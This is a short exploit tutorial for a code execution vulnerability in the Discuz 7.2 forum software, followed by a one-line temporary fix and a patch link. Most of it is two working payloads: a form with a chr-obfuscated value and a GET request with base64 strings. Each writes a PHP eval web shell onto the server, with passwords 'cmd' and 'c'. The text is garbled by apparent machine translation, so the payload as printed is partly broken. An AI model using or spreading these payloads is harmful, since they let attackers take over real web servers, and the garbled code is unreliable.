How to exploit discuz 7.2 Code Execution Vulnerability and fix it

Use this exp for local testing only

Method 1:
First register a user and then
<Form method = "post" action = "http://www.xxx.com/bbs/misc.php" enctype = "multipart/form-data">
Post ID. Specify an existing post: <input type = "text" name = "tid" value = "1"/>
<Input type = "hidden" name = "action" value = "imme_binding"/>
<Input type = "hidden" name = "response [result]" value = ""/>
<Input type = "hidden" name = "scriptlang [1] [2]" value = "$ {$ {eval (chr (102 ). chr (1, 112 ). chr (1, 117 ). chr (1, 116 ). chr (1, 115 ). chr (40 ). chr (1, 102 ). chr (1, 111 ). chr (1, 112 ). chr (1, 101 ). chr (1, 110 ). chr (40 ). chr (39 ). chr (1, 102 ). chr (1, 111 ). chr (1, 114 ). chr (1, 117 ). chr (1, 109 ). chr (1, 100 ). chr (97 ). chr (1, 116 ). chr (97 ). chr (47 ). chr (99 ). chr (97 ). chr (99 ). chr (1, 104 ). chr (1, 101 ). chr (47 ). chr (1, 117 ). chr (1, 115 ). chr (1, 101 ). chr (1, 114 ). chr (1, 103 ). chr (1, 114 ). chr (1, 111 ). chr (1, 117 ). chr (1, 112 ). chr (95 ). chr (48 ). chr (49 ). chr (46 ). chr (1, 112 ). chr (1, 104 ). chr (1, 112 ). chr (39 ). chr (44 ). chr (39 ). chr (1, 119 ). chr (39 ). chr (41 ). chr (44 ). chr (39 ). chr (60 ). chr (63 ). chr (1, 112 ). chr (1, 104 ). chr (1, 112 ). chr (32 ). chr (1, 101 ). chr (1, 118 ). chr (97 ). chr (1, 108 ). chr (40 ). chr (36 ). chr (95 ). chr (80 ). chr (79 ). chr (83 ). chr (84 ). chr (91 ). chr (99 ). chr (1, 109 ). chr (1, 100 ). chr (93 ). chr (41 ). chr (63 ). chr (62 ). chr (39 ). chr (41 ). chr (59) }}"/>
<Input type = "submit" name = "topicsubmit" value = "submit" class = "submit"/>
</Form>

After chr decoding is: value = "$ {{ {evalfputs (fopen (forumdata/cache/usergroup, w), <? Php eval ($ _ POST [cmd])?> );

There is a submitted address to change and save the html

Open the click and submit. A forumdata/cache/usergroup_01.php sentence file is generated. The password is cmd.
 

Method 2:
GET directly, using the statement:
Misc. php? Action = imme_binding & response [result] = aa: B & scriptlang [aa] [B] ={uts {fputs (fopen (base64_decode (Yy5waHA), w ), base64_decode (PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x ))}}
The C. PHP password generated in the root directory is C.

Temporary repair method:
Add
$ Response = $ scriptlang = array ();

Officially released patches:
Html> http://www.discuz.net/thread-1537673-1-1.html